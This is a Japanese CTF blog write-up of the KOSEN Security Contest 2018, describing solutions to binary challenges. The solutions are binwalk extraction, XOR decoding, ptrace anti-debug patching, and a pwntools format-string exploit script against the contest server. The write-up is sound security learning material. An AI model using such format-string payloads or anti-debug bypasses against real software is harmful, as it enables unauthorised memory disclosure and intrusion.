みつのCTF精進記録

プログラム書いたりCTFやったりするゆるゆるなブログです。

KOSENセキュリティコンテスト2018に参加した

小山高専で「おやまようちえん(およ)」というチームで参加しました。mitsu で登録する予定だったのですがタイポして mtisu という名前で登録してしまいました。むてぃすです。

二日間 Jeopardy 形式の問題を解くものでした。二日間ありますが競技時間自体は全体的に少なく大変でした。

 

弊チームは最終的に 2150 ポイント獲得し 7 位という結果でした。少し残念ですが来年はもっと上位に組み込みたいなーなんて思ってます。Web 問がとても苦手で非常に苦戦したのが悔しかったです。

f:id:mi__tsu:20180902171853p:plain

復習も兼ねて自分が解いた問題を Write-up します

Binary100. まどわされるな!

バイナリが降ってくるのでそれを binwalk にかければ JPEG がくっついてるのがわかります。あとはそれを取り出せばフラグの右半分が手に入るので、普通に実行したらでてくる左半分とくっつければフラグになります。

Binary100. printf 

netcat で接続すると secret のアドレスが与えられ、入力ができるようになります。%x とするとスタックの中身がみれるので書式文字列バグがあることがわかります。ASLR が有効なようで secret のアドレスが変わるので Python でコードを書いてそれで secret を読み出せばフラグが手に入ります。

# exploit.py
import sys
import struct
from pwn import *

index = 15
conn = remote("27.133.152.42", 80)
conn.recv(19)            # the_secret_is_in_0x
target_addr = conn.recv(8)
target = int(target_addr,16)

test = struct.pack("<I", target)
test += ".%15$s"

conn.sendline(test)

sleep(1)
conn.interactive()

今思ったのですが素晴らしいクソコードですね。

どうでもいいですが Python 難しいです。動的型付け言語にはなかなか慣れられません…

Binary200. XORXOR

降ってきたバイナリを実行しても何も起きずに終了してしまいます。適当に radare2 で逆アセンブルしてみるとどうやら文字列を変換していることがわかります。gdb で開いて文字列を変換する関数を実行し終わった直後にブレークポイントを置きスタックの中を見るとフラグがありました。

Binary250. Simple anti debugger

gdb で動かすとデバッガで動かしていることが検出されてプログラムが終了してしまいます。radare2 で afl を叩いてみると ptrace という文字が見えたので、ptrace で自分自身をトレースし呼び出された回数で検知していることがなんとなく察せます。

detect_debugger という関数を見つけたのでそこを見てみると予想通り ptrace したあと cmp eax, 0xffffffffffffffff して jne しているようです。適当なバイナリエディタで開き ptrace をコールしている部分を全て NOP(0x90) 命令で埋め gdb で起動してみると検知されなくなりました。あとはパスワードなどを聞かれますが適当に飛ばしてフラグがゲットできます。バイナリ楽しいです。好きな問題でした。

Misc 50. 人多杉を見たくない

ググって可用性を英語に翻訳して終わりでした。

 

最後に

binary がいい感じにできたら途中から Web をやり始めたのですが全然解けませんでした。自分ができない問題に時間をかけすぎてしまったような気がし、配分を間違えたように感じました。Web の勉強をしないと本当に大変だと思ったので精進したいです。

お疲れ様でした!